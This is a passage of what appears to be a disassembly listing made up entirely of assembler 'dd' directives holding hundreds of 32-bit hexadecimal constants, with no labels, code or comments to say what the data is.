dd 1C42B734h, 1220E2B6h, 698A00D8h, 7E0CA881h, 9FC81AC1h
dd 0AFC02451h, 0F54409F7h, 2280CF18h, 128A2BDh, 0FF5BB102h
dd 0E0E011C6h, 0E022C85h, 895CD7BEh, 4FA2DFBEh, 30AF0BE7h
dd 902722AFh, 9C34D66Bh, 9AB70A2Ch, 0E4C52B07h, 719301A0h
dd 18FD0198h, 0C4A8435Bh, 3872F849h, 79F28EE0h, 7E8A64Ch
dd 3CF1A26Ch, 0B408C10Eh, 0E9EC497Bh, 7388009Dh, 4405CB7h
dd 25001562h, 1069F61Eh, 1D94C4E8h, 0C005C88Ch, 318A2B9h
dd 9200B340h, 0D56982C0h, 0E51AA8h, 8CD81478h, 51F541A5h
dd 265E5A1Ch, 24A30600h, 0DC4FCDh, 0E8C4CD2h, 341D1281h
dd 0E4AA9801h, 7EE909B6h, 61DC30h, 4D92CCFh, 1420FB77h
dd 8B3BB2B0h, 5D08139Fh, 0C2D6B100h, 5C1EA94Fh, 9003F123h
dd 14531F28h, 608402A8h, 633F6CFCh, 0F4550047h, 40A1E6C8h
dd 0A69100D8h, 0B867218Bh, 983F645Ah, 0D3FB8008h, 0A9B402E7h
dd 6E90124h, 8CA5468Ah, 0E601E064h, 211406B8h, 14E4DB18h
dd 0AEA2D0h, 0C33707D6h, 0EEC4784h, 0C51EF88h, 0D50D8700h
dd 1D02F440h, 0F321A442h, 0ED184179h, 45F58F71h, 10AAE8FFh
dd 0B8B90316h, 0E9058034h, 8C660FC0h, 8667C43Fh, 0C7475C3Ch
dd 7F8E2FAh, 42FCEFA3h, 7936E078h, 40008E7Bh, 210D91Ch
dd 0A21676Fh
dd 0B97F88A9h, 8A300FE6h, 8D2A4CA3h, 0A290CCE8h, 0F2BD38h
dd 0FFFA3942h, 62A196h, 0B433B9C3h, 4A8A291Dh, 0A0FD078h
dd 8771F6h, 65AB1242h, 0B1000B7h, 38C80113h, 61F0222Bh
dd 1E6D9D3Dh, 17A6A531h, 289C8307h, 0D10C8160h, 1A6800E5h
dd 8BAB5213h, 17002023h, 0F0B3094Ch, 0BEEA44h, 1084A456h
dd 6BB1BA47h, 831CC83Bh, 0DEDCA981h, 9646F04Bh, 51853E88h
dd 2607AF0h, 0B5F640BBh, 0A840E487h, 0BF00BC70h, 1FD602BEh
dd 1F043490h, 0C09B7EC6h, 471CCB62h, 5E44DEFh, 0A127FA00h
dd 198321EAh, 130F02ACh, 1B38C908h, 0EF30F9C0h, 514D43Ch
dd 18F883A6h, 201DCD00h, 12210488h, 1F1AC59h, 0D4D039EFh
dd 4EBF4046h, 7200B1BBh, 0CF2219C9h, 3B99E505h, 89DCE6DBh
dd 8C423400h, 83D3C88h, 1FA27C03h, 0B8FCBC10h, 566580h
dd 43C4AC20h, 0E641E5DDh, 29224400h, 0C14086F4h, 0CC0C0094h
dd 0BE72EE5Bh, 0F5000506h, 801C8528h, 2FFF97h, 0F6A0432Ah
dd 0AA24E90Bh, 1687A526h, 0CA141700h, 0F0A7C938h, 0AB940223h
dd 0D00B4769h, 0E48917C0h, 11080F16h, 0A0D69518h, 0E0980093h
dd 952AE90Ah, 400F00Ch, 0D8BC3CE8h, 81159Ah, 0E055280Bh
dd 405B59C3h, 574D6509h, 0E55D0F95h, 28072CAh, 1AACC92h
dd 1AB0318Fh, 4044A021h, 0EFF47DD8h, 0D318FF05h, 0EF6487h
dd 85845DABh, 1926B602h, 201D7FC8h, 0A87E4FC0h, 0FD9046Fh
dd 0CB0D112Ah, 0E0A03CEFh, 33FE2CE6h, 1EABEA0Eh, 9685FF25h
dd 0ADC00AF9h, 8CA301h, 1DA95FC2h, 0A13E3410h, 4E08901Dh
dd 849642C0h, 7F2EBD54h, 1D82F620h, 58F7537Eh, 0A994665h
dd 35FA2CFAh, 0BD3AF216h, 0B8681403h, 4300085h, 2AD7D2BBh
dd 74005867h, 390524Ch, 0D391C2h, 0BA7CEB86h, 3326D762h
dd 61DBF800h, 7EBC8CA9h, 7FD6005Bh, 78F74B63h, 897CE413h
dd 684F3600h, 2EA340E2h, 0F23700FCh, 683545Ah, 0FB035852h
dd 4D4A7D7Ch, 0E809F83Fh, 4EAC0378h, 670B4011h, 89FACC98h
dd 0BE48FE00h, 25165BEEh, 3D2AFCF8h, 0A192207Fh, 375ACAAh
dd 72FAF5D7h, 0F1EAE0F6h, 17FE7457h, 13A1E2E9h, 2B5C009Dh
dd 0C4C5084Bh, 0E8F68200h, 19699DF3h, 46F93F4Ch, 0C8DA3A8Fh
dd 0CC091EEh, 7D64EAE5h, 0CB25E902h, 414C1BBEh, 0FAF41470h
dd 0EA2B000Ah, 467C3C81h, 10072CD7h, 4BAEA887h, 0B8FC7h
dd 0FBC55C12h, 0EB2B3508h, 147DC12Bh, 0AD4FE8D7h, 116517Eh
dd 9C0FCD41h, 0AB786018h, 1E020771h, 3F213619h, 41C6400h
dd 938ACA3h, 1B17810Fh, 0B2401F10h, 0BFA23020h, 42BE018Ch
dd 0E97CD76Ah, 0E30DF01Eh, 28881A1Fh, 14AE2600h, 16120E40h
dd 3F2CE43h, 1CAC4FD2h, 8D1BC1DDh, 59E8E388h, 7A000130h
dd 6200EADh, 0F1C41A46h, 0B342CF4h, 0C079238Ch, 19A3A38Eh
dd 6C003851h, 0CEC32109h, 24083CF9h, 3D4C85FDh, 0F879EF00h
dd 0D0335F3Bh, 9F9939h, 2E6D6F6Ch, 123C82Dh, 0CF32E1BAh
dd 0E064F908h, 0ED01EA92h, 0C1360A87h, 10E4378Ch, 0D4AD00E6h
dd 4269ACEFh, 0FA0027CFh, 6DFEBE6Ch, 164B37A6h, 10DDB34h
dd 0FB18522Dh, 9E76C8F2h, 0A5F4CF00h, 6D7B39A7h, 0A60D4C64h
dd 78B247Bh, 0F2DA0C2Dh, 29029ABCh, 0F6281237h, 1ED840CDh
dd 136400FFh, 9AFA217Eh, 785218C4h, 451101C0h, 0C249B1D0h
dd 0A48F3CF0h, 7C623E8Ah, 80533680h, 130C2437h, 0CAE7F20Eh
dd 47F6A0A4h, 18078830h, 5ED0DF08h, 0CE0B9BD6h, 800CE211h
dd 881FD198h, 739C000Dh, 96279D4h, 26F858B1h, 5CC4130Fh
dd 3C1447C3h, 8FC7ECB7h, 65D793D7h, 43373232h, 0F82CB82Eh
dd 917C7Eh, 0C40A3859h, 103FD1F2h, 0E29CE900h, 0D403C2Ch
dd 0D2430123h, 0E9D20F1h, 0CCA9E7Ch, 6B6214C7h, 0A71CE5D0h
dd 41EE24Eh, 0EC9D60E9h, 72A1C0FBh, 90E3C4h, 15490B01h
dd 0D29EB10Fh, 3DD324F0h, 4F9F5AB7h, 882CC32Eh, 0D88C4A5h
dd 0D6001308h, 5C953B9Dh, 0F23467h, 0D2FA0206h, 1DCEA71Fh
dd 0C0719C27h, 13CAB3BAh, 7203Ch, 131FD388h, 771E6E27h
dd 9E40E802h, 5B33E90Ch, 6A5800C9h, 3C9485D3h, 5F7FA1FFh
dd 46710800h, 0AC0E4CC5h, 0D34A009Dh, 0FF5EFA2Dh, 0AEFAA410h
dd 0C4877303h, 0F8F0040Fh, 8233Fh, 59B43842h, 0D424C212h
dd 1C941F18h, 489F2B56h, 4607351Ah, 0F069C418h, 0FEA53F28h
dd 42FEE9B8h, 32C66F03h, 0D86ADF7Eh, 7D49B78h, 0E1189185h
dd 682EEA2h, 0D0401A81h, 41097C34h, 42D4D905h, 0B51F409Fh
dd 0C110185h, 14F9D521h, 0A029DC0Ah, 35B2A407h, 38C067A1h
dd 1F28B518h, 8F425CFFh, 522FD79h, 11601B81h, 9F50D59Ah
dd 8900BDC0h, 4724A086h, 0FDC82FAh, 0EF8F1BBCh, 7B9180DCh
dd 0B073EB89h, 0D237D400h, 4876AFF7h, 0B90707D5h, 40F823F0h
dd 3DEE9779h, 374D0B00h, 2D840932h, 7C2E39D6h, 79F92300h
dd 0C843E860h, 68968C05h, 0CF8037EAh, 5876621Eh, 5E1D0DD6h
dd 24A1C0C2h, 0CA8C51E9h, 0C21924CFh, 6012020Eh, 17D6AD7Bh
dd 1A19962h, 0CF922076h, 132BCC31h, 0C4302301h, 0D70E0409h
dd 4C10C8E4h, 0C44CA4F1h, 56001B3Fh, 92E9E2C9h, 38031369h
dd 0F389A844h, 75F3BF22h, 8F0CD0A2h, 0D7C007E2h, 0AFAC2116h
dd 5781CA0h, 2E5CEC83h, 6F1006Eh, 0AD82401h, 15383DF2h
dd 0DE8159BBh, 14CA6927h, 44BC200Dh, 1A08061Fh, 85CE9C5Fh
dd 71A32088h, 0F581E18h, 42D3AC39h, 0C0BFC4E7h, 2F8F0838h
dd 78D2BD48h, 0FD4E0200h, 6FEEA953h, 22E64Ch, 73D930F1h
dd 9A3FE23Ch, 6EEC3200h, 0CB4B08B0h, 0FF5008Ch, 0BBD95C80h
dd 0A407723Bh, 0E841EE33h, 2704B750h, 5200006h, 0A2C51B46h
dd 3B0BCBD9h, 5F33A674h, 57A44801h, 0E36D206Eh, 0D5B13700h
dd 1C290BD9h, 0E9880033h, 256E2ECAh, 37E64CE5h, 30943A05h
dd 0F1C0F8FEh, 996DA2Fh, 0FFADD638h, 81CC9704h, 0F65D04EEh
dd 3BC0A142h, 1403B8A3h, 2154369Eh, 3865E9A1h, 1965820h
dd 2B93A546h, 0F7D41401h, 50F1B7D3h, 248DF0C9h, 43F4FD00h
dd 20DE20Ch, 1FDB1629h, 0FFFB050Ah, 8C9982F0h, 435B68C0h
dd 213400FDh, 4FB901A2h, 62152390h, 4216F4A0h, 95841801h
dd 810868A6h, 0D38E41DEh, 1F3CB2F8h, 80C82314h, 0A70F9F4Bh
dd 9D4C383Ah, 6390Eh, 89ACDC2Fh, 244C17h, 0E1C2A508h, 0E5C37B74h
dd 14E25C00h, 1812225Eh, 0B91F00F2h, 0E63EFC32h, 5002A292h
dd 46723128h, 211861CEh, 28F9DCECh, 0D84C38h, 25D3E888h
dd 481F04BAh, 0DCD18900h, 336A5971h, 0C6FE61h, 963126A7h
dd 484678Ah, 36DD4Ch, 0E92032A6h, 3093F8h, 5A68C525h, 2F65339Ah
dd 0DD58C200h, 0FECA2ECDh, 0CF7003D0h, 89622DB9h, 0BD2F6DE1h
dd 0BBD18018h, 59152785h, 0F7CF7E0Ah, 16D810D5h, 7BA81DC4h
dd 0DE02C02Eh, 0FF9434B2h, 1F7233Eh, 79907349h, 0C8EA4F18h
dd 0DE5D66h, 843C477Eh, 0FD8BD06Fh, 878F103Dh, 0B8D20FCh
dd 4135BCA2h, 5BECCEADh, 5909Dh, 93A946C3h, 18F418Ah, 63CF370Fh
dd 0F611A756h, 89B8A5D0h, 2DCE30E5h, 800CE882h, 87DF5700h
dd 6E7830E4h, 56D15C46h, 390271Fh, 9E083537h, 1DD980D5h
dd 4D0793FDh, 8448DA5Ch, 0BD2CDFB0h, 8AAA3A43h, 0C7EB3780h
dd 0E008626Dh, 4235710Fh, 571CC3F4h, 3E5AF80Ch, 0EC8A785Bh
dd 0E9400E9h, 95E06B27h, 157BCE48h, 799CD707h, 13B0499Dh
dd 165AB1BCh, 5B29D2h, 7BCA97D7h, 8BFEE484h
dd 0D02410F0h, 3C001CABh, 1B5817B9h, 2ED3B0E1h, 1C80762h
dd 8B972847h, 453A3081h, 0E17E1AC0h, 0F3CE415h, 0B5800778h
dd 0C4E28D00h, 200131D3h, 562A4E1Eh, 2CF4F712h, 43E30013h
dd 0F23088ACh, 540FB274h, 0A0E22E24h, 87AD1A58h, 0E4100011h
dd 0F2E55DF3h, 9A7FF494h, 994509Fh, 0E75EE289h, 0C2232440h
dd 0D70478F0h, 44149DD4h, 954B7BC1h, 0E3A5C480h, 0F382A0C7h
dd 6D703E00h, 10ADFF02h, 87D50011h, 16E33DE2h, 33001453h
dd 44A2D84Ah, 2C2A3FEDh, 0DFDCCBh, 62A0C5A5h, 0B5B0E390h
dd 0C82E0C7Ah, 0D80002EEh, 0E160B8C3h, 0F2EFEC7h, 3354A06Bh
dd 0AECB25A1h, 942E0CFh, 39D1E42Ch, 0FEC2FF07h, 0D61010C7h
dd 3959F8Ch, 0E43C09D3h, 221FA171h, 978F43D0h, 6E0915h
dd 890EF82Ch, 9E60DEE4h, 0D7844353h, 0E1B9B8C4h, 3A2DF4C5h
dd 8B58AD3Eh, 80AF46CAh, 0B11311D1h, 2EE50C08h, 0FD1EA13Dh
dd 120C427Fh, 3EE3D70Fh, 4BE5243Bh, 0C6080F9Fh, 3A9666E0h
dd 28641455h, 71800D7Ah, 6A9647Dh, 4273FE4Eh, 83E60C5h
dd 7EBCC2h, 0B0C88410h, 79E89FBDh, 0CAE60306h, 0FB50FE34h
dd 0D21F0E7h, 397DF8D8h, 0AAB49F1Bh, 5B79C894h, 48F0E0h
dd 0BD1FB57Bh, 436F18E6h, 9C4EEB03h, 0D04F9EA6h, 84AACFh
dd 1038B193h, 49226FC4h, 43F72400h, 0F3E6D213h, 0CAE100AAh
dd 0C8730EB1h, 6B00596Fh, 753F0B9Fh, 0BD34B5h, 65D9192Dh
dd 90E90D99h, 4B3D6E02h, 40EB4CA8h, 50CA88h, 482C6437h
dd 15BD69C7h, 5600247Ch, 42FE3C44h, 6C849h, 0F861B01Dh
dd 0B4B5B2A6h, 0E909D001h, 0D17B4A35h, 7DFC7E8h, 88131F59h
dd 147180DDh, 4A009417h, 8C2A2E2Dh, 0A0492839h, 2CDA2CD0h
dd 0CB3018h, 15A5854Ah, 5F000922h, 251336E8h, 114DA63h
dd 4AEFF98Ch, 748F9F6Eh, 2CB02237h, 644B1100h, 50C00E09h
dd 43B907FCh, 0E6A29EB3h, 0C011C48h, 3FE8F404h, 0B6F8F017h
dd 0E9860009h, 1F976F7Fh, 3B788999h, 3F2770C0h, 0A0FC65DBh
dd 66EB692h, 39A66A7Fh, 0B200B272h, 38379976h, 1AED12h
dd 0BFDE09F6h, 4FC5A32h, 777D15Ch, 841EE9C8h, 38BBCA50h
dd 44F6489Ah, 48913F00h, 0C82A0435h, 1DEE343Eh, 0EAC0A133h
dd 0FEB45B7Ch, 0C9F0030Bh, 5570B2FBh, 0C6B985E0h, 0DC541217h
dd 21AB9600h, 0A25914h, 20901FF6h, 0ACCAD885h, 0C4E1A000h
dd 0D7941AEAh, 0C9011F10h, 0FBD95EE4h, 61B8EB03h, 2CF304B5h
dd 0C68B39DAh, 85FF2A0Eh, 0C0B008B2h, 15B7DDDAh, 34658713h
dd 80062C07h, 0EAC0EB44h, 7AF2138h, 0C4AE23CBh, 803EB5A4h
dd 0D743D67Ah, 0A746D263h, 0C71C08Ah, 0CB020101h, 0FA2A5E0Eh
dd 0F4ECDD14h, 0C27E48B7h, 9555DE09h, 7838005Fh, 49800Bh
dd 3CC685ECh, 4C7F19A4h, 10620300h, 500C91D2h, 0E2140013h
dd 578922D7h, 43001D5Eh, 0BCF45452h, 3F617433h, 4A1F19CAh
dd 58120050h, 0C2440827h, 0D4422300h, 488F47BCh, 63F106D2h
dd 3085F0D1h, 1D587012h, 838BDC1Fh, 0B03002C4h, 9F91E09Ch
dd 1FE0C6h, 81895153h, 3D83C931h, 41E50C00h, 617D04C0h
dd 8A4E0017h, 0D76EE086h, 89055036h, 0FAC38303h, 0F6F9FDC0h
dd 0EB710075h, 0F2F8AFFh, 510712C8h, 5A887AF0h, 0FA802710h
dd 43B4A056h, 363300F4h, 0C84006E0h, 0D10072C0h, 0E3DD24AAh
dd 0C65363h, 0C9169418h, 0E06EFDECh, 0FEB82000h, 9134697h
dd 7048008Ah, 0D3C95D8Dh, 0A200ABE1h, 0A8CE29B6h, 5C0C40E6h
dd 1C07FA49h, 0C0845B02h, 58760434h, 482DE80Eh, 0C1F0E041h
dd 9205E6h, 53E2EF39h, 33FB5D40h, 0E945BA00h, 96EB9421h
dd 0DE175C34h, 0E4C61Fh, 0F224A101h, 2008020h, 1E3CE2E6h
dd 77C7A0Bh, 3221D4D6h, 38526649h, 0D33F903h, 5870F842h
dd 0E3002E12h, 32AC50DEh, 0DD0082E0h, 0AF3E7A5h, 2EFB30h
dd 0DE71BC4Dh, 486877B5h, 41B810F6h, 64565A0Eh, 8D0776A2h
dd 0F1709A0Ah, 32F922h, 4774348Dh, 91384AA0h, 8ED41400h
dd 4168F328h, 0D6E2E3h, 30F250E8h, 0FB0A87FAh, 359C2300h
dd 18324811h, 148E17EAh, 0E1ED0EF1h, 0FC72E98Ch, 0D71CC812h
dd 79FFC200h, 128F98Dh, 1F2CB21Ah, 206B3064h, 91007FF3h
dd 3C23BF38h, 404356h, 798D44ECh, 4CF20F48h, 50E43701h
dd 5554C86Ah, 0C6BEF02Fh, 7F58411Eh, 0ABFA0C47h, 0C85CF6C1h
dd 32A4C8h, 0F4EAF8ADh, 60E5BE6Ah, 2B00DFB8h, 52F095F6h
dd 7F64CAC2h, 0FCF40736h, 93BEF949h, 0F0C82E68h, 6C4C115Dh
dd 4C702624h, 78B21B00h, 906F1Fh, 24B412EBh, 0F39454AEh
dd 6A64FF00h, 0F64B2D84h, 43621FB6h, 0FAF94F88h, 0E68F72A9h
dd 1AA6FCA6h, 1DD89058h, 740023BAh, 9CA89846h, 0A051008Fh
dd 17A4A21Ah, 1100E84Bh, 0D45E4CE9h, 5067F2h, 0BF86A835h
dd 5157BA9h, 0DFAF6B1Ch, 0E801EA80h, 0CD3A1h, 85AC3B48h
dd 0D7FC0BA4h, 44C66F00h, 0D4DA2372h, 0E5B00090h, 0C5B5F1CBh
dd 410156EFh, 539C6ACh, 94DDA37Dh, 1B26D8h, 354EEE5h, 50E902E6h
dd 4255700h, 0BB8ECB9h, 0AA210048h, 0B2D56D10h, 620035BCh
dd 0C039D4C2h, 0F8FBF10Fh, 8FC4001Ch, 86E92658h, 4A90C843h
dd 0CCEA4279h, 8E887500h, 1AD059D6h, 32E361B1h, 21F887D4h
dd 0D847F817h, 4307AC73h, 0DEDC21EAh, 64599230h, 0C43A13E0h
dd 0E4D101AFh, 0D8F25B8Dh, 0EB0BD13Bh, 80B10FEDh, 8FEC1C1Bh
dd 0D2680059h, 0F10EF019h, 0B035AB3h, 9474F421h, 0CF8F883h
dd 0C11000D6h, 2BEFCA62h, 0A53F35FCh, 0ACE8117h, 47E93101h
dd 58B5DBDCh, 757DCA29h, 1D087DBBh, 665DFF4Ah, 88D70BE3h
dd 64002709h, 1823EA14h, 1C435400h, 0D38D20F8h, 886A008Ch
dd 2C11F528h, 300021AAh, 0E83446FCh, 98518D38h, 40A20E03h
dd 6A274435h, 12B4E024h, 7300E946h, 0BD504176h, 84F70Dh
dd 0B7545822h, 2C37AB5Eh, 0C481B117h, 0CF39200h, 1C8F897h
dd 8B1C98FFh, 608A05D4h, 3F70B92Eh, 8803317Eh, 0DD080B54h
dd 0EA75A0C1h, 0D4D100FCh, 244832CDh, 727D55CEh, 15FF1F00h
dd 0F8415708h, 0A4D300E2h, 893E52D4h, 0E4000EE3h, 582F9CFCh
dd 135C106h, 3104703Ah, 80169D50h, 89B23E6Ah, 0F2535A48h
dd 44201D21h, 0E1E04h, 118201E1h, 8800A20Fh, 0C0DE8EE0h
dd 899D5Bh, 594F5ADCh, 0C2E468ACh, 5D411900h, 58118065h
dd 76BA4CA6h, 883CB73Ch, 3D73007Eh, 2F3E9E8h, 570776A3h
dd 35D66A7h, 0C7167E10h, 2F040705h, 0D9F89813h, 91B605DFh
dd 0B0EB6183h, 908816h, 0C3139C59h, 108D23FDh, 281D2F00h
dd 0D99794FAh, 816201DCh, 46889C04h, 0C7A4CF5Ch, 0A0D5057h
dd 35004CB8h, 3B55F17Eh, 48A0A3h, 0FD5825D1h, 0B257D027h
dd 80105D3Dh, 0A1AC457Eh, 78E9A805h, 0BB8ECFFh, 7CF1A22Ah
dd 0DF3C6E0Fh, 0FC4200F8h, 3A0CBD4Fh, 0D0B90300h, 3BAC558Ch
dd 0F4730006h, 160CDFFh, 2B008670h, 16F60CE8h, 0ED75F0h
dd 72E0C17Fh, 8D1C6015h, 0E886C307h, 0CED0F5ABh, 0ECF6C65Fh
dd 473003Bh, 1176DB85h, 8D00BBC3h, 1A741EBDh, 0F5D46CFh
dd 571604E4h, 0FB7585h, 5FE7989Ah, 190195E5h, 0AAB07A1Eh
dd 59F01F42h, 7F3D007Bh, 1472680h, 7600885Bh, 0B005581Dh
dd 0DF99Fh, 5432559Eh, 0A567A998h, 68385A00h, 96A28B1Dh
dd 0FE500F77h, 0CE73B32h, 0D32990ECh, 3F010D2Eh, 715CE8F8h
dd 37C89D5Eh, 66DD0069h, 0F5EA4CE4h, 0F11CFB72h, 588F9648h
dd 0A50E0012h
dd 7050945h, 0F36E1055h, 23D6C0F7h, 0B21CADF2h, 34804B58h
dd 7C0C10Eh, 0FFC31CAAh, 0C2814E04h, 706790E0h, 0C900F8E6h
dd 6056F138h, 588639B5h, 210FED55h, 0E22A3B1Bh, 32013FDEh
dd 57F371F2h, 0CE39F82Ch, 7500C1EEh, 973B011h, 3C810C5Dh
dd 598355C3h, 0F03993F1h, 3FF94AC0h, 9D7FDEECh, 0D958161Dh
dd 95051083h, 6F298851h, 4140571h, 834A88AAh, 0A2D0F760h
dd 550F0918h, 7974312h, 0A8F11C10h, 0B8FC943Ch, 3220EF20h
dd 2411C034h, 2D445582h, 0C401A578h, 25AA1228h, 20E02E26h
dd 1F70C82Ch, 8130700Ch, 348917h, 0F04B1089h, 25380788h
dd 0F14A0954h, 413C415Ch, 0FC520283h, 50104E1h, 0F2FAC87Fh
dd 58D153A9h, 4184D0F3h, 0F31AC418h, 10F908F1h, 7E2C2009h
dd 3FB81ECh, 5E1E80Eh, 0E64200FFh, 93F8E864h, 627FADC3h
dd 0AA131418h, 0A8DE921Eh, 0B05F2883h, 28AD70Bh, 0D0FE0BAFh
dd 7F105481h, 1621C4C9h, 248514C6h, 0C1252A40h, 2A45B884h
dd 0A93BAE4h, 0B3FC170Ch, 6C8246AAh, 10EAC40h, 0E9210534h
dd 0E08CA2B3h, 2F150888h, 329B9DF9h, 24965D1Ch, 8F0830h
dd 0FE4D0BC9h, 0F21E4187h, 0F340F133h, 11046942h, 263AC020h
dd 0F0E4297Ch, 0B63A106h, 3EDEB027h, 4A3A6E71h, 0A3712ACCh
dd 66781FC8h, 0A18E3B36h, 13CD1757h, 0E2FE712Eh, 241F52C3h
dd 4AC72B4Fh, 4476AFBAh, 0C728E60Eh, 0E19539E8h, 8F1D85A4h
dd 0EA692DB8h, 230FA2C2h, 0CD1C64Ah, 68183FD5h, 0D89A873h
dd 6390FEB4h, 0AD01E2E3h, 5F3010F0h, 81F6E230h, 60F12F3Ch
dd 170873EBh, 0A580E0F8h, 0FED400C5h, 0CB93D524h, 5E00280Bh
dd 64259F1h, 1EBF1C20h, 806CCAC4h, 0A1F36231h, 67370A5Bh
dd 36F7627Fh, 508EA5AFh, 410FE0C2h, 88FC1428h, 0FCD4F2B4h
dd 0F228028Dh, 0E615595Fh, 95A893C0h, 830C3ECBh, 0F84A9D99h
dd 0F0528F1h, 789225FEh, 12E004ECh, 98BC873Fh, 7B8AB4B8h
dd 6310FCAFh, 5770403Ch, 8F1888F1h, 0C42B65E0h, 5A0C34C4h
dd 0E890E164h, 4E897F0Fh, 0B719F25Eh, 8124348h, 24483804h
dd 41002D10h, 0CB06015Eh, 0A90004A3h, 56E0084Eh, 0E2DCBD0Ch
dd 0C8C900E9h, 461CFE49h, 507E8460h, 272A3Bh, 81792C7Ch
dd 0B078384Bh, 0AC880369h, 0D6BD8664h, 31CA63F8h, 0E2241700h
dd 0EF19F003h, 75A82616h, 8C0E0087h, 4001C5A6h, 0CC90130Ch
dd 756A0E0h, 0A94C99ADh, 700CB07Dh, 3B00788Ah, 18721403h
dd 75AEF2h, 6A5751B1h, 0DF4FCCA0h, 58F12E14h, 0E3FD00BFh
dd 33F889E8h, 8A0200EBh, 0C4FEE45Eh, 0F31CEAAAh, 0C8009614h
dd 0A101B2D8h, 0BE610058h, 1A03E824h, 0FB7E85C3h, 21716D00h
dd 224D410Dh, 0E91003CDh, 0E4D3DD12h, 0CF9E18D8h, 7F0F2800h
dd 4572938h, 520A1C17h, 876808h, 4DE5507Bh, 0EB854511h
dd 2B88C107h, 82305415h, 8B0586h, 67AA7D08h, 0D7870E8h
dd 45A83Bh, 0B91A5F33h, 77E2F48Ah, 0E971D0h, 0BDD19055h
dd 0CFA92F1Dh, 3D805207h, 156033D6h, 0EFAD530h, 7A49A0E1h
dd 0B18091A9h, 0FC4D12AAh, 0F4BDC604h, 0CF80797Ch, 503CC4DAh
dd 1DD7E20Eh, 29E0F6h, 0CBD2D576h, 0FFC43E1h, 62AFD300h
dd 0D87553F8h, 0E81900FEh, 5B30FDBFh, 0B009E37Eh, 0FFF089h
dd 963FF404h, 0DD7000FEh, 9D32B9C6h, 4600B3D6h, 0F01B22F1h
dd 71931BBh, 6D7AD07Ch, 6028D792h, 0F4369A52h, 56F20300h
dd 0FE4766A0h, 834B0080h, 94F8FB5Eh, 5C00E94Eh, 410ED5F0h
dd 3BC6BE85h, 0D880DC87h, 8C3268F9h, 0C00AA99h, 0D0A5869h
dd 0C4543Ch, 0C83B0983h, 4F1A775h, 24509507h, 7B1EBAEh
dd 98DBCB52h, 0F98AAAEDh, 1029F8h, 2DA412EEh, 75113B0Fh
dd 40CB0E00h, 60236B43h, 90DF685h, 0AF7415FFh, 0D7D0FE80h
dd 0EEF208C0h, 5CB76B17h, 79125F00h, 6517E8h, 1EA19C50h
dd 4FC38A11h, 71583Ch, 0B5416DE4h, 4A03F9h, 0EA14CA28h
dd 381AE92Dh, 0E6AB9A50h, 2AB00C00h, 3D372476h, 0E57084h
dd 358B7774h, 3138067h, 0D7C6600h, 8D63EB0Ah, 98704Eh
dd 0CEE98309h, 328EAD0h, 0B5121D00h, 0FD049B61h, 0BD420FC6h
dd 88207FF9h, 87F03F46h, 0B7250F00h, 3C3A7CD9h, 1F8379BAh
dd 49027403h, 8FD7012Fh, 269F4057h, 0E24C58C9h, 7C1013Bh
dd 1C8D1F77h, 74CBD402h, 90FA180Eh, 8B0AA0E2h, 7621D50h
dd 0EB191401h, 298FA008h, 2009258h, 0BA753F4Fh, 851E0Eh
dd 0FF97CBDBh, 2A903D99h, 9B10041Eh, 0B14A003Fh, 12490801h
dd 0D0770BF4h, 9A8A9276h, 50E39CFh, 0A1C0CC15h, 48B06CFCh
dd 5689BD00h, 0A4670C86h, 5C78399Dh, 0CAEC7E80h, 6CBF8DCFh
dd 0C4A8B914h, 2EA11DFCh, 200C4DCEh, 0F9D3FED6h, 7B21D47h
dd 40E282D8h, 0D860C75Fh, 0D0016BBh, 538509FBh, 2B2A06h
dd 21FC9D23h, 0C1A613A9h, 0CA2DB601h, 339125A7h, 0C383C0h
dd 0B9754E0Ch, 0AF54F3B0h, 0DE2E92CEh, 0A142000h, 6DACE8h
dd 46D67C6Ah, 5C6384Eh, 8A0E900h, 0A785268Ch, 0A5530098h
dd 24484F84h, 4400CD59h, 3EEDC515h, 0B22083h, 6B8DB97h
dd 0E3F66860h, 0EE6A7000h, 0FD11617Bh, 515A0005h, 20FF9340h
dd 25007FEBh, 0E91F8667h, 16002F6h, 0BAEEEDFDh, 0F399AA43h
dd 266672A0h, 391DA100h, 50786AEBh, 0B51B005Ah, 657A4686h
dd 800F274h, 2264C914h, 1DECE830h, 9FD25069h, 38E9403Ah
dd 0E4906DFCh, 0CF2AC801h, 71BECCAh, 4537880h, 12105C6Eh
dd 601A881Eh, 196A2381h, 0E07E1FD3h, 0C503688Bh, 13A3C75Bh
dd 0E03DEB58h, 9F7459Bh, 6461E2FFh, 1C635800h, 58EEB821h
dd 5F987B00h, 9A29AE26h, 0FE9700D5h, 0C090C9B4h, 9D781507h
dd 59538800h, 65582321h, 1FE83E09h, 0C6B093h, 0A84955AAh
dd 727CDDC2h, 35759802h, 601B2405h, 4B2AEEh, 228844FDh
dd 750D531Ch, 1003A1E4h, 143C3027h, 0BEBD0C7h, 321516DAh
dd 8FAB1E1Ah, 978FF7h, 9F535255h, 2F024735h, 94098834h
dd 3268C005h, 4C740036h, 0DC0C3B9Dh, 0BA7B4F77h, 92A3F100h
dd 0C606A42Ch, 0DBD812BEh, 3BAF0089h, 99CEFC53h, 1000C175h
dd 9869B8DEh, 0F602779Eh, 0A16100C8h, 4236CF8h, 0BEB0E2D8h
dd 7800317Ah, 4606EB4Dh, 93AAA7h, 2A6A9C10h, 35FF190Ch
dd 5859E41Fh, 9800EFDDh, 0D7109586h, 0C4500EBEh, 0A840B925h
dd 0A62493D9h, 728A300h, 44F5E8A1h, 1A972DDh, 0A86DBE6Bh
dd 0ECAD61F0h, 0E190B4A4h, 25393505h, 9B035A78h, 0F040D955h
dd 0C7084h, 0C8C04A83h, 48B90815h, 944B6900h, 6183025h
dd 91400D8h, 6A351078h, 0C12C4D05h, 0B200DBC8h, 13830FB9h
dd 918B00EAh, 4915AB0Dh, 730014E5h, 0A1679EBCh, 76D68CEh
dd 0B8287503h, 0F7AEC00Ch, 0A00577Eh, 0A1532010h, 2B6970h
dd 6EE056BDh, 8D874114h, 8E2D8300h, 9DE21C3Ch, 45600396h
dd 0A4365C24h, 0C825A5F8h, 0D5E238F0h, 28918703h, 1D15DCA2h
dd 410DA10Ah, 422C230Eh, 10E3EF14h, 316CCDB0h, 9A015B00h
dd 4479D541h, 0AC58B75Eh, 42540E0Eh, 636F006Ch, 704F6Bh
dd 79617265h, 0DC28E974h, 3CBE4E00h, 3BCDA5Ah, 1D27213h
dd 6EBA8993h, 0E84EF8E8h, 8B3DAF28h, 5FC6821Fh, 0E07DA8B2h
dd 1F54B531h, 9E9BE4BAh, 0DD4D808Ah, 586E5769h, 93099417h
dd 3FC68E00h, 7B1204h, 0AED25F08h, 67099B9h, 80A71ACEh
